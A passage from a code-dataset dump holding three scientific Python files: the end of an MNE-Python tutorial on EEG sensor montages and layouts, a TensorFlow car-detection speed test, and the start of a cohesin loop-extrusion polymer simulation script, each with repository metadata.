`mne.viz.plot_topomap`):\n\nbiosemi_montage.plot(show_names=False, sphere=0.07)\n\n# %%\n# To change not only the radius, but also the sphere origin, pass a\n# ``(x, y, z, radius)`` tuple as the ``sphere`` argument:\n\nbiosemi_montage.plot(show_names=False, sphere=(0.03, 0.02, 0.01, 0.075))\n\n# %%\n# In MNE-Python, the head center and therefore the sphere center are calculated\n# using :term:`fiducial points <fiducial>`. This means that the head circle\n# represents the head circumference at the nasion and ear level, and not where\n# it is commonly measured in the 10\u201320 EEG system (above the nasion at T4/T8,\n# T3/T7, Oz, and Fz). Notice below that by default T7 and Oz are placed\n# *within* the head circle:\n\nbiosemi_montage.plot()\n\n# %%\n# If you prefer to draw the head circle using 10\u201320 conventions (which are also\n# used by EEGLAB), you can move the sphere origin a few centimeters up along\n# the z dimension:\n\nbiosemi_montage.plot(sphere=(0, 0, 0.035, 0.094))\n\n# %%\n# Alternatively, you can calculate the sphere origin from Oz, Fpz, T3/T7 or\n# T4/T8 channels. This is easier once the montage has been applied to the data\n# and channel positions are in the head space (see\n# :ref:`this example <ex-topomap-eeglab-style>`).\n\n\n# %%\n# .. _reading-dig-montages:\n#\n# Reading sensor digitization files\n# ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n#\n# In the sample data, the sensor positions are already available in the\n# ``info`` attribute of the `~mne.io.Raw` object (see the documentation of the\n# reading functions and `~mne.io.Raw.set_montage` for details on how that\n# works). Therefore, we can plot sensor locations directly from the\n# `~mne.io.Raw` object using `~mne.io.Raw.plot_sensors`, which provides similar\n# functionality to `montage.plot() <mne.channels.DigMontage.plot>`. In\n# addition, `~mne.io.Raw.plot_sensors` supports channel selection by type,\n# color-coding channels in various ways (by default, channels listed in\n# ``raw.info['bads']`` will be plotted in red), and drawing in an existing\n# Matplotlib ``Axes`` object (so the channel positions can easily be added as a\n# subplot in a multi-panel figure):\n\n# sphinx_gallery_thumbnail_number = 8\nfig = plt.figure()\nax2d = fig.add_subplot(121)\nax3d = fig.add_subplot(122, projection='3d')\nraw.plot_sensors(ch_type='eeg', axes=ax2d)\nraw.plot_sensors(ch_type='eeg', axes=ax3d, kind='3d')\nax3d.view_init(azim=70, elev=15)\n\n# %%\n# The previous 2D topomap reveals irregularities in the EEG sensor positions in\n# the :ref:`sample dataset <sample-dataset>` \u2014 this is because the sensor\n# positions in that dataset are digitizations of actual sensor positions on the\n# head rather than idealized sensor positions based on a spherical head model.\n# Depending on the digitization device (e.g., a Polhemus Fastrak digitizer),\n# you need to use different montage reading functions (see :ref:`dig-formats`).\n# The resulting `montage <mne.channels.DigMontage>` can then be added to\n# `~mne.io.Raw` objects by passing it as an argument to the\n# `~mne.io.Raw.set_montage` method (just as we did before with the name of the\n# predefined ``'standard_1020'`` montage). Once loaded, locations can be\n# plotted with the `~mne.channels.DigMontage.plot` and saved with the\n# `~mne.channels.DigMontage.save` methods of the\n# `montage <mne.channels.DigMontage>` object.\n#\n# .. note::\n#\n#     When setting a montage with `~mne.io.Raw.set_montage`, the measurement\n#     info is updated in two places (both ``chs`` and ``dig`` entries are\n#     updated) \u2013 see :ref:`tut-info-class` for more details. Note that ``dig``\n#     may contain HPI, fiducial, or head shape points in addition to electrode\n#     locations.\n#\n#\n# Visualizing sensors in 3D surface renderings\n# ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n#\n# It is also possible to render an image of an MEG sensor helmet using 3D\n# surface rendering instead of matplotlib. This works by calling\n# `mne.viz.plot_alignment`:\n\nfig = mne.viz.plot_alignment(raw.info, dig=False, eeg=False,\n                             surfaces=[], meg=['helmet', 'sensors'],\n                             coord_frame='meg')\nmne.viz.set_3d_view(fig, azimuth=50, elevation=90, distance=0.5)\n\n# %%\n# Note that `~mne.viz.plot_alignment` requires an `~mne.Info` object, and can\n# also render MRI surfaces of the scalp, skull, and brain (by passing a dict\n# with keys like ``'head'``, ``'outer_skull'`` or ``'brain'`` to the\n# ``surfaces`` parameter). This makes the function useful for\n# :ref:`assessing coordinate frame transformations <tut-source-alignment>`.\n# For examples of various uses of `~mne.viz.plot_alignment`, see\n# :ref:`plot_montage`, :ref:`ex-eeg-on-scalp`, and :ref:`ex-plot-meg-sensors`.\n#\n#\n# Working with layout files\n# ^^^^^^^^^^^^^^^^^^^^^^^^^\n#\n# Similar to montages, many layout files are included with MNE-Python. They are\n# stored in the :file:`mne/channels/data/layouts` folder:\n\nlayout_dir = os.path.join(os.path.dirname(mne.__file__),\n                          'channels', 'data', 'layouts')\nprint('\\nBUILT-IN LAYOUT FILES')\nprint('=====================')\nprint(sorted(os.listdir(layout_dir)))\n\n# %%\n# The file formats (and therefore file extensions) of the built-in layout and\n# montage files vary considerably (because manufacturers like to use different\n# conventions). However, the montage and layout loading functions in MNE-Python\n# take the filename *without its extension* so you do not have to keep track of\n# which file format is used by which manufacturer.\n#\n# To load a layout file, use the `mne.channels.read_layout` function and\n# provide the filename *without* its file extension. You can then visualize the\n# layout using its `~mne.channels.Layout.plot` method or equivalently passing\n# the layout to `mne.viz.plot_layout`:\n\nbiosemi_layout = mne.channels.read_layout('biosemi')\nbiosemi_layout.plot()  # same result as mne.viz.plot_layout(biosemi_layout)\n\n# %%\n# Similar to the ``picks`` argument for selecting channels from `~mne.io.Raw`\n# objects, the `~mne.channels.Layout.plot` method of `~mne.channels.Layout`\n# objects also has a ``picks`` argument. However, because layouts only contain\n# information about sensor name and location (not sensor type), the\n# `~mne.channels.Layout.plot` method only supports picking channels by index\n# (not by name or by type). In the following example, we find the desired\n# indices using `numpy.where`; selection by name or type is possible with\n# `mne.pick_channels` or `mne.pick_types`.\n\nmidline = np.where([name.endswith('z') for name in biosemi_layout.names])[0]\nbiosemi_layout.plot(picks=midline)\n\n# %%\n# If you have a `~mne.io.Raw` object that contains sensor positions, you can\n# create a `~mne.channels.Layout` object with either\n# `mne.channels.make_eeg_layout` or `mne.channels.find_layout`.\n\nlayout_from_raw = mne.channels.make_eeg_layout(raw.info)\n# same result as mne.channels.find_layout(raw.info, ch_type='eeg')\nlayout_from_raw.plot()\n\n# %%\n# .. note::\n#\n#     There is no corresponding ``make_meg_layout()`` function because sensor\n#     locations are fixed in an MEG system (unlike in EEG, where sensor caps\n#     deform to fit snugly on a specific head). Therefore, MEG layouts are\n#     consistent (constant) for a given system and you can simply load them\n#     with `mne.channels.read_layout` or use `mne.channels.find_layout` with\n#     the ``ch_type`` parameter (as previously demonstrated for EEG).\n#\n# All `~mne.channels.Layout` objects have a `~mne.channels.Layout.save` method\n# that writes layouts to disk as either :file:`.lout` or :file:`.lay` formats\n# (inferred from the file extension contained in the ``fname`` argument). The\n# choice between :file:`.lout` and :file:`.lay` format only matters if you need\n# to load the layout file in some other application (MNE-Python can read both\n# formats).\n#\n#\n# .. LINKS\n#\n# .. _`eeg_positions`: https://github.com/sappelhoff/eeg_positions\n", "meta": {"hexsha": "f47ba1bf0dc262577e6a0a83bf51f00a8b8e034e", "size": 12407, "ext": "py", "lang": "Python", "max_stars_repo_path": "tutorials/intro/40_sensor_locations.py", "max_stars_repo_name": "chriscline/mne-python", "max_stars_repo_head_hexsha": "ced882efa2455b94094f430c62fef95d825d984e", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2022-02-19T08:13:49.000Z", "max_stars_repo_stars_event_max_datetime": "2022-02-19T08:13:49.000Z", "max_issues_repo_path": "tutorials/intro/40_sensor_locations.py", "max_issues_repo_name": "LiFeng-SECUC/mne-python", "max_issues_repo_head_hexsha": "732bb1f994e64e41a8e95dcc10dc98c22cac95c0", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "tutorials/intro/40_sensor_locations.py", "max_forks_repo_name": "LiFeng-SECUC/mne-python", "max_forks_repo_head_hexsha": "732bb1f994e64e41a8e95dcc10dc98c22cac95c0", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 42.4897260274, "max_line_length": 79, "alphanum_fraction": 0.7185459821, "include": true, "reason": "import numpy", "num_tokens": 3291, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.47268347662043286, "lm_q2_score": 0.20689405859634893, "lm_q1q2_score": 0.09779540290943377}}
{"text": "import base64\nimport io\nimport zmq\nimport cv2\nimport os\nimport numpy as np\nimport tensorflow as tf\nimport sys\nimport time\n\nclass CarDetector(object):\n    def __init__(self, frozen_graph):\n\n# Tensorflow localization/detection model\n# Single-shot-dectection with mobile net architecture trained on COCO dataset\n# setup tensorflow graph\n        self.detection_graph = tf.Graph()\n\n# configuration for possible GPU use\n        config = tf.ConfigProto()\n        config.gpu_options.allow_growth = True\n\n# load frozen tensorflow detection model and initialize\n# the tensorflow graph\n\n        with tf.gfile.GFile(frozen_graph, \"rb\") as f:\n            self.graph_def = tf.GraphDef()\n            self.graph_def.ParseFromString(f.read())\n\n# import the graph_def into a new Graph and returns it\n        with self.detection_graph.as_default():\n            tf.import_graph_def(self.graph_def, name=\"\")\n\n            self.sess = tf.Session(graph=self.detection_graph, config=config)\n            self.image_tensor = self.detection_graph.get_tensor_by_name('image_tensor:0')\n# Each box represents a part of the image where a particular object was detected.\n            self.boxes = self.detection_graph.get_tensor_by_name('detection_boxes:0')\n# Each score represent how level of confidence for each of the objects.\n# Score is shown on the result image, together with the class label.\n            self.scores =self.detection_graph.get_tensor_by_name('detection_scores:0')\n            self.classes = self.detection_graph.get_tensor_by_name('detection_classes:0')\n            self.num_detections =self.detection_graph.get_tensor_by_name('num_detections:0')\n        self.image_width = 640\n        self.image_height = 480\n\n\n    def detect(self, image):\n        \"\"\"\n        Args:\n            image: camera image\n\n        Returns:\n            list of bounding boxes: coordinates [y_up, x_left, y_down, x_right]\n\n        \"\"\"\n        self.image_width = image.shape[0]\n        self.image_height = image.shape[1]\n\n        with self.detection_graph.as_default():\n            image_expanded = np.expand_dims(image, axis=0)\n            (boxes, scores, classes, num_detections) = self.sess.run(\n                [self.boxes, self.scores, self.classes, self.num_detections],\n                feed_dict={self.image_tensor: image_expanded})\n\n            self.out_boxes = np.squeeze(boxes)\n            self.out_classes = np.squeeze(classes).astype(\"int\")\n            self.out_scores = np.squeeze(scores)\n            self.out_number = len(self.out_classes)\n\n    def box_isvalid(self, box, score, category, confidence = 0.3, size_limit = 0.5, ratio_limit = 0.1):\n#       Examine whether a detected box is valid (good confidence, reasonable shape and size, etc).\n        h = box[2] - box[0]\n        w = box[3] - box[1]\n        ratio = h/(w+0.01)\n        return ratio>ratio_limit and ratio<1/ratio_limit and h<size_limit and w<size_limit and category<9 and score>confidence\n\n\n    def output(self, confidence =0.3, quiet = True):\n        self.car_boxes = []\n        category_index={1: {'id': 1, 'name': u'person'},\n                        2: {'id': 2, 'name': u'bicycle'},\n                        3: {'id': 3, 'name': u'car'},\n                        4: {'id': 4, 'name': u'motorcycle'},\n                        5: {'id': 5, 'name': u'airplane'},\n                        6: {'id': 6, 'name': u'bus'},\n                        7: {'id': 7, 'name': u'train'},\n                        8: {'id': 8, 'name': u'truck'},\n                        9: {'id': 9, 'name': u'boat'},\n                        10: {'id': 10, 'name': u'traffic light'},\n                        11: {'id': 11, 'name': u'fire hydrant'},\n                        13: {'id': 13, 'name': u'stop sign'},\n                        14: {'id': 14, 'name': u'parking meter'}}\n\n              # The ID for car in COCO data set is 3\n            #idx_vec = [i for i, v in enumerate(cls) if ((v==3) and (scores[i]>0.3))]\n        for i in range(self.out_number):\n            category = self.out_classes[i]\n            score = self.out_scores[i]\n            box = self.out_boxes[i]\n            if self.box_isvalid(box, score, category):\n                box[0] = self.image_width*box[0]\n                box[2] = self.image_width*box[2]\n                box[1] = self.image_height*box[1]\n                box[3] = self.image_height*box[3]\n                box = box.astype(\"int\")\n                self.car_boxes.append([box[0],box[1],box[2],box[3],score,category])\n                if not quiet:\n                    print(box, ', confidence: ', self.out_scores[i], ', category: ',category_index[category]['name'])\n        if len(self.car_boxes) ==0 and not quiet:\n            print('no detection!')\n\n        return self.car_boxes\n\n    def output_as_str(self, confidence =0.3, quiet = True):\n        self.output(confidence = confidence, quiet = quiet)\n        return [[str(item) for item in box] for box in self.car_boxes]\n\ndef DL_init(frozen_graph = \"/home/ubuntu/frozen_inference_graph.pb\", dummy = cv2.imread(\"/home/ubuntu/dummy.jpg\")):\n# Initialize the SSD detector.\n    det = CarDetector(frozen_graph)\n    det.detect(dummy)\n    return det\n\n\ndef speedtest(path):\n    limit = 100\n    detector = DL_init()\n    start = time.time()\n    for i,item in enumerate(os.listdir(path)):\n        img = cv2.imread(path+\"/\"+item)\n        detector.detect(img)\n        boxes = detector.output_as_str()\n        if i>limit:\n            end = time.time()\n            elapsed = end-start\n            print(\"%d files in %f seconds.\" % (limit,elapsed))\n            break\n\nif __name__==\"__main__\":\n    speedtest(sys.argv[1])\n", "meta": {"hexsha": "6935589eaec784f7a8b08150f9910a19accee30c", "size": 5596, "ext": "py", "lang": "Python", "max_stars_repo_path": "src/Worker_instance/speedtest.py", "max_stars_repo_name": "zxq0404/Raven", "max_stars_repo_head_hexsha": "398e208330619d76c0236a43493f217c1dd198be", "max_stars_repo_licenses": ["RSA-MD"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "src/Worker_instance/speedtest.py", "max_issues_repo_name": "zxq0404/Raven", "max_issues_repo_head_hexsha": "398e208330619d76c0236a43493f217c1dd198be", "max_issues_repo_licenses": ["RSA-MD"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "src/Worker_instance/speedtest.py", "max_forks_repo_name": "zxq0404/Raven", "max_forks_repo_head_hexsha": "398e208330619d76c0236a43493f217c1dd198be", "max_forks_repo_licenses": ["RSA-MD"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 39.6879432624, "max_line_length": 126, "alphanum_fraction": 0.5889921372, "include": true, "reason": "import numpy", "num_tokens": 1363, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5156199157230157, "lm_q2_score": 0.18952109361853836, "lm_q1q2_score": 0.09772085031932451}}
{"text": "import pickle\nimport os\nimport time\nimport numpy as np\nimport sys\nimport shutil\nfrom openmmlib import openmmlib\nfrom openmmlib import polymerutils\nfrom openmmlib.polymerutils import scanBlocks\nfrom openmmlib.openmmlib import Simulation\nfrom openmmlib.polymerutils import grow_rw\nimport pyximport; pyximport.install()\nfrom smcTranslocator_MovingBarrier import smcTranslocatorDirectional\nimport tools\nimport random\n\n# -------defining parameters----------\n# -- basic loop extrusion parameters--\n\nlogname=\"log.txt\"\nGPU = 0 \nLIFETIME = 100   # Processivity of cohesin, Default: 100 for WT, 1000 for Wapl KO\nSEPARATION = 200 # Separation LEFs in number of monomers, Default: 200 for WT, 100 for Wapl KO, assuming a  monomer size of 1kb\nN = 10000                     # System size in number of monomers\nsmcStepsPerBlock = 1          # Number of LEF steps between blocks of polymer simulations, Default: 1\nstiff = 1                     # Polymer siffness in unit of bead size, default: 1\ndens = 0.2                    # density in beads / volume. The density can roughly be estimated by looking at the amount of DNA in a nuclear volume, Default: 0.2\nbox = (N / dens) ** 0.33      # Define size of the bounding box for Periodic Boundary Conditions, Default: 0.33\ndata = polymerutils.grow_rw(N, int(box) - 2)  # creates a compact conformation \nblock = 0  # starting block \nstg = 0.8# same as Banigan, van den Berg, Brandao eLife 2020 #0.1  #stall probability at ctcf sites \nunstallLEFRate = 0.005 # about once per two typical LEF lifetimes.\nctcf_interval = 300 # 300 kb, e.g., see Busslinger et al. Nature 2017\n\n# -- LEF and transcription dynamics -- \n\n# Note that the each rate can have a maximum value of 1. \nlef_speed=1.0\nlefperm = 0. # controls amount of LEF-LEF bypassing we have\npauseArray = np.ones(N,dtype=np.double) # The speed of LEFS at each position. Default is an array of ones, which means that LEFS go on maximum speed everywhere. To simulate the presence of CTCF Aafke reduced the speed at CTCF sites to 0.005. However, this doesn't account for directionality of CTCF!\nshrinkPauseArray=np.zeros(N,dtype=np.double)# speed at which loops shrink\nshrink_speed=0.0\nkinPol= 0.001     # PolII initiation rate, Default range: 0.00025-0.002\nkterPol=0.002                 # Termination rate of PolII, Default range: 0.002-1.0. Normally transcription is initiation limited, so make sure that kinPol < kterPol\nkterPolArray=np.zeros(N,dtype=np.double) # fix this later based on gene stucture\nPolSpeed=0.1                  # The speed of PolII as a fraction of the speed of cohesin. Default value: 0.1\npoldissoc=0.\n#pauseArrayPol=np.zeros(N,dtype=np.double) + PolSpeed # The speed of PolII at each lattice site #initialize later\npolloading=np.array([950,1950,2950,3950,4950,5950,6950,7950,8950]) # PolII initiation sites. The direction of the gene is set by the relative position of the polloading and poltermination sites.\n#np.array([700,903,1100,1303,1700,1903,2100,2303,2700,2903,3100,3303,3700,3903,4100,4303,4700,4903,5100,5303,5700,5903,6100,6303])\npoltermination=np.array([1850,2850,3850,4850,5850,6850,7850,8850,9850]) #PolII termination sites. At a termination site, PolII stalls with probability 1 and then unloads with rate kterPol. To simulate a broad PolII unloading area, I would set the poltermination site far beyond the gene length and then define wide region where PolII can stall, as shown on the lines below\n#np.array([800,803,1200,1203,1800,1803,2200,2203,2800,2803,3200,3203,3800,3803,4200,4203,4800,4803,5200,5203,5800,5803,6200,6203])\nstalProbPol=np.zeros(N,dtype=np.double) # The rate of PolII stalling. Once stalled, PolII unloads with a rate 'kterPol'. One can choose a single stall site, or a range of stall sites. If this array is set to zero everywhere, PolII will stall at the defined termination sites.\nstalProb=0.001                \nstall_in_gene=0.\nunstall_in_gene=1.\nunstallArray=np.zeros(N,dtype=np.double) #array for unstalling in of Pol II in gene\n\nSTALL_FROM_FILE = False # option to take stall probabilities from file for spatially varying patterns \nstallfile=\"\"\ngene_stall=[]\nctcf_left_list=[]\nctcf_right_list=[]\nstrongCTCFstall = 0\n\nTSSloadbias = 1.0\nTSSloadstart=0 #use this and TSSloadend to control offset/width of loading near TSS,  note: positive TSSloadstart denotes num sites before TSS, positive TSSloadend denotes sites after TSS\nTSSloadend=0\n\nbase_genelen=200\n#genelength=[base_genelen]*len(polloading)\nvariable_genelength = 0 \nfixed_variable_genelength=0\nvariable_permeability = 0 #This varaible toggles on/off variable permeability of cohesin through RNAp depending on position in gene, 0 or 1 for constant permeability or variable perm, respectively\nvariable_type = 0 #type of variable permeability: 0- linearly decreasing, 1- step function\nvariable_offset = 0 #param for var perm function: for linear this is a constant offset from 0, for step this is offset for the bottom step\nvariable_pos = base_genelen // 2 #param: irrelevant for linear, position of step for step function.\nvariable_return = 0 #return to max permeability after passing end of gene but before reaching termination site\nvariable_TSSfactor = 1.0  # factor by which permeability at TSS is lower (or higher)\n\npermLeftArray=np.zeros(N,dtype=np.double)\npermRightArray=np.zeros(N,dtype=np.double)\n\ncollisionLifeFactor=1.0 # factor by which head-on collision with RNAP changes lifetime of cohesin\ncollisionLife=LIFETIME*collisionLifeFactor\nTTSunload=1.0 # factor by which cohesin life time is changed near TTS\nunloadZone=10 # width of zone in which cohesin life is changed by TTS\n\nPolPause=0.002   # Step rate PolII at TSS, Default: 0.002\n#later:\n#for i in polloading:\n#    pauseArrayPol[i]=PolPause\n\nL=0.          # Set permeability of PolII to cohesin. L=0 means PolII is impermeable. \nR=0.          # Set permeability of PolII to cohesin coming from the right\n\nrun_id=1\n\n\n# -- polymer simulation settings --\n\nsteps = int(200*(smcStepsPerBlock)) # nr of 3D simulation blocks btw advancing LEFs. For deterministic stepping choose 200-250 steps per block, otherwise, rescale with stepping probability. When genes are sparse, smcStepsPerBLock is approximately the number of smc steps per smc block.\n\nsaveRNAP=True # whether or not to print RNAP positions w/ each printed block\n\nsaveEveryBlocks = int(200/(smcStepsPerBlock))  # number of blocks until polymer configuration is saved\nskipSavedBlocksBeginning = int(20/(smcStepsPerBlock))  # how many blocks (saved) to skip after you restart LEF positions\n#totalSavedBlocks = 5000  # how many blocks to save (number of blocks done is totalSavedBlocks * saveEveryBlocks)\ntotalSavedBlocks = 4000  # how many blocks to save (number of blocks done is totalSavedBlocks * saveEveryBlocks)\n#restartMilkerEveryBlocks = int(200/(smcStepsPerBlock))   \nrestartMilkerEveryBlocks = int(400/(smcStepsPerBlock))   \n#Only one Hamiltonian can be loaded at a time to the simkt, but we want to update the bonds every time a LEF steps. Loading a new Hamiltonian costs a lot of time. Instead we precalculate bonds and load all positions at once as one big Hamiltonian and just change the prefactors. \n\n# parameters for smc bonds \n\nsmcBondWiggleDist = 0.2\nsmcBondDist = 0.5\n\n\n#if len(sys.argv)!=8:\n#    print(\"Warning: Number of input arguments != 8\")\n#    sys.exit('Number of input arguments is not correct')\n\nFLAG=\"\" #extra label for directory name\n\n#######use custom class to parse inputs with keywords#######################\n\nparams= tools.argsList()\nfor p in params.arg_dict:\n    print(p, params.arg_dict[p])\n\nif \"gpu\" in params.arg_dict:\n    GPU = int(params.arg_dict[\"gpu\"])\nif \"lifetime\" in params.arg_dict:\n    LIFETIME = float(params.arg_dict[\"lifetime\"])\nif \"separation\" in params.arg_dict:\n    SEPARATION = float(params.arg_dict[\"separation\"])\nif \"initiation\" in params.arg_dict:\n    kinPol = float(params.arg_dict[\"initiation\"])\nif \"termination\" in params.arg_dict:\n    kterPol = float(params.arg_dict[\"termination\"])\nif \"dissociation\" in params.arg_dict:\n    poldissoc= float(params.arg_dict[\"dissociation\"])\nif \"stall\" in params.arg_dict: #pol stall\n    stalProb = float(params.arg_dict[\"stall\"])\nif \"stallgene\" in params.arg_dict:\n    stall_in_gene = float(params.arg_dict[\"stallgene\"])\nif \"unstall\" in params.arg_dict: # pol unstall\n    unstall_in_gene=float(params.arg_dict[\"unstall\"])\nif \"lefspeed\" in params.arg_dict:\n    lef_speed=float(params.arg_dict[\"lefspeed\"])\n    pauseArray= lef_speed*pauseArray\nif \"lefperm\" in params.arg_dict:\n    lefperm=float(params.arg_dict[\"lefperm\"])\nif \"shrink\" in params.arg_dict:\n    shrink_speed=float(params.arg_dict[\"shrink\"])\n    shrinkPauseArray= shrinkPauseArray + shrink_speed\n    if shrink_speed+lef_speed>1.:\n        print(\"WARNING: step+shrink > 1!! extrusion probabilities will not be computed correctly.\\n\")\nif \"lefstall\" in params.arg_dict:\n    stg = float(params.arg_dict[\"lefstall\"])\nif \"lefunstall\" in params.arg_dict:\n    unstallLEFRate = float(params.arg_dict[\"lefunstall\"])\nif \"polspeed\" in params.arg_dict:\n    PolSpeed = float(params.arg_dict[\"polspeed\"])\nif \"polpause\" in params.arg_dict:\n    PolPause = float(params.arg_dict[\"polpause\"])\nif \"permL\" in params.arg_dict:\n    L=float(params.arg_dict[\"permL\"])\nif \"permR\" in params.arg_dict:\n    R=float(params.arg_dict[\"permR\"])\nif \"collisionlife\" in params.arg_dict:\n    collisionLifeFactor=float(params.arg_dict[\"collisionlife\"])\nif \"tssload\" in params.arg_dict:\n    TSSloadbias=float(params.arg_dict[\"tssload\"])\nif \"tssloadstart\" in params.arg_dict:\n    TSSloadstart=int(params.arg_dict[\"tssloadstart\"])\nif \"tssloadend\" in params.arg_dict:\n    TSSloadend=int(params.arg_dict[\"tssloadend\"])\nif \"ttsunload\" in params.arg_dict:\n    TTSunload=float(params.arg_dict[\"ttsunload\"])\nif \"ttszone\" in params.arg_dict:\n    unloadZone=int(params.arg_dict[\"ttszone\"])\nif \"genelen\" in params.arg_dict:\n    base_genelen=int(params.arg_dict[\"genelen\"])\nif \"vperm\" in params.arg_dict:\n    variable_permeability = int(params.arg_dict[\"vperm\"])\nif \"vpermtype\" in params.arg_dict:\n    variable_type = int(params.arg_dict[\"vpermtype\"])\nif \"vpermoffset\" in params.arg_dict:\n    variable_offset = float(params.arg_dict[\"vpermoffset\"])\nif \"vpermpos\" in params.arg_dict:\n    variable_pos = int(params.arg_dict[\"vpermpos\"])\nif \"vreturn\" in params.arg_dict:\n    variable_return = int(params.arg_dict[\"vreturn\"])\nif \"vtss\" in params.arg_dict:\n    variable_TSSfactor = float(params.arg_dict[\"vtss\"])\nif \"vgene\" in params.arg_dict:\n    variable_genelength = int(params.arg_dict[\"vgene\"])\nif \"fixed_vgene\" in params.arg_dict:\n    fixed_variable_genelength=int(params.arg_dict[\"fixed_vgene\"])\nif \"convergent\" in params.arg_dict:\n    if int(params.arg_dict[\"convergent\"]):\n        #print(\"warning only correct for genelength = 110 right now.\\n\")\n        polloading=     np.array([840,  1160, 1640, 1960, 2440, 2760, 3240, 3560, 4040, 4360, 4840, 5160, 5640, 5960, 6440, 6760, 7240, 7560, 8040, 8360, 8840, 9160]) \n        poltermination= np.array([1000, 1001, 1800, 1801, 2600, 2601, 3400, 3401, 4200, 4201, 5000, 5001, 5800, 5801, 6600, 6601, 7400, 7401, 8200, 8201, 9000, 9001])\nif \"sparse\" in params.arg_dict:\n    if int(params.arg_dict[\"sparse\"]):\n        #print(\"warning only correct for genelength = 110 right now.\\n\")\n        polloading= np.array([1950,3950,5950,7950])\n        poltermination=np.array([2850,4850,6850,8850])\nif \"ctcfint\" in params.arg_dict:\n    ctcf_interval=int(params.arg_dict[\"ctcfint\"])\nif \"ctcf\" in params.arg_dict:\n    if params.arg_dict[\"ctcf\"] == \"tss\":\n        #puts ctcf just before each tss, alternating left/right \n        ctcf_left_list = polloading[0::2] - 1\n        ctcf_right_list = polloading[1::2] - 1\n    elif params.arg_dict[\"ctcf\"] == \"body\":\n        #puts ctcf halfway through the gene, assuming fixed gene length and genes pointing downstream\n        ctcf_left_list = polloading[0::2] + base_genelen // 2\n        ctcf_right_list = polloading[1::2] + base_genelen // 2\n    elif params.arg_dict[\"ctcf\"] == \"distributed\":\n        #put in sites every ~300 kb\n        Nctcf = int(N/ctcf_interval/2)\n        ctcf_left_list = np.arange(1,Nctcf+2)*2*ctcf_interval-ctcf_interval\n        ctcf_right_list = np.arange(1,Nctcf+1)*2*ctcf_interval\n        ctcf_left_list=np.delete(ctcf_left_list, np.where(ctcf_left_list>=N)[0])\n        ctcf_right_list=np.delete(ctcf_right_list, np.where(ctcf_right_list>=N)[0])\n    elif params.arg_dict[\"ctcf\"] == \"distributed2\":\n        Nctcf = int(N/ctcf_interval/2)\n        ctcf_left_list = np.arange(1,Nctcf+2)*2*ctcf_interval-int(3*ctcf_interval/2)\n        ctcf_right_list = np.arange(1,Nctcf+1)*2*ctcf_interval-int(ctcf_interval/2)\n        ctcf_left_list=np.delete(ctcf_left_list, np.where(ctcf_left_list>=N)[0])\n        ctcf_right_list=np.delete(ctcf_right_list, np.where(ctcf_right_list>=N)[0])\n    else:\n        with open(params.arg_dict[\"ctcf\"], \"r\") as ctcffile:\n            ctcfdata=ctcffile.readlines()\n            #should only be 2 lines\n            entries=ctcfdata[0].split()\n            ctcf_left_list = np.array([int(x) for x in entries])\n            entries=ctcfdata[1].split()\n            ctcf_right_list = np.array([int(x) for x in entries])\nif \"strongctcf\" in params.arg_dict:\n    strongCTCFstall= int(params.arg_dict[\"strongctcf\"])\n#granting command line control of these variables for flexibility:\nif \"save\" in params.arg_dict:\n    saveEveryBlocks = int(int(params.arg_dict[\"save\"])/(smcStepsPerBlock))\nif \"skip\" in params.arg_dict:\n    skipSavedBlocksBeginning = int(int(params.arg_dict[\"skip\"])/(smcStepsPerBlock))\nif \"total\" in params.arg_dict:\n    totalSavedBlocks = int(params.arg_dict[\"total\"])\nif \"stallfile\" in params.arg_dict:\n    stallfile=params.arg_dict[\"stallfile\"]\n    STALL_FROM_FILE=True\nif \"restart\" in params.arg_dict:\n    restartMilkerEveryBlocks = int(int(params.arg_dict[\"restart\"])/(smcStepsPerBlock))\nif \"log\" in params.arg_dict:\n    logname=params.arg_dict[\"log\"]\nif \"flag\" in params.arg_dict:\n    FLAG=params.arg_dict[\"flag\"]\n\n\n###### a few variables to be initialized last b/c they depend on others ###\ncollisionLife= LIFETIME*collisionLifeFactor\n\npauseArrayPol=np.zeros(N,dtype=np.double) + PolSpeed ## The speed of PolII at each lattice site\nfor i in polloading:\n    pauseArrayPol[i]=PolPause\n\ngenelength=[base_genelen]*len(polloading)\nif variable_genelength:\n    if fixed_variable_genelength:\n        genelength=random.shuffle([80,81,82,84,86,90,95,100,110])\n    else:\n        for ii in range(len(genelength)):\n            genelength[ii] = genelength[ii] + int(np.random.normal(0, np.sqrt(genelength[ii])))\n    print(\"genelengths:\", genelength)\n\n#stalling, unstalling and termination in gene and after gene ends\nfor i,j, gl in zip(polloading,poltermination, genelength):\n    if j>i: \n        stalProbPol[i:i+gl]=stall_in_gene \n        unstallArray[i:i+gl]=unstall_in_gene\n        stalProbPol[i+gl:j]=stalProb # This line adds stall probability to all sites between end of gene (loading site + gene len) and the \"termination site\" (where pol stops with prob=1) \n               # int(poltermination[0]-polloading[0])\n        kterPolArray[i+gl:j]=kterPol\n        kterPolArray[j]=kterPol\n    else: # flipped genes\n        stalProbPol[i-gl+1:i+1]=stall_in_gene\n        unstallArray[i-gl:i+1]=unstall_in_gene\n        stalProbPol[j+1:i-gl+1]=stalProb\n        kterPolArray[j+1:i-gl+1]=kterPol\n        kterPolArray[j]=kterPol\n\n\n#permeabilities\nif not variable_permeability:\n        permLeftArray += L\n        permRightArray += R\nelse:\n    for ii in range(len(genelength)):\n        direc = 2*int(poltermination[ii]>polloading[ii])-1\n        gene_end=genelength[ii]*direc+polloading[ii]\n        RL_factor=1.\n        if not L==0.:\n            RL_factor=R/L\n        if variable_type == 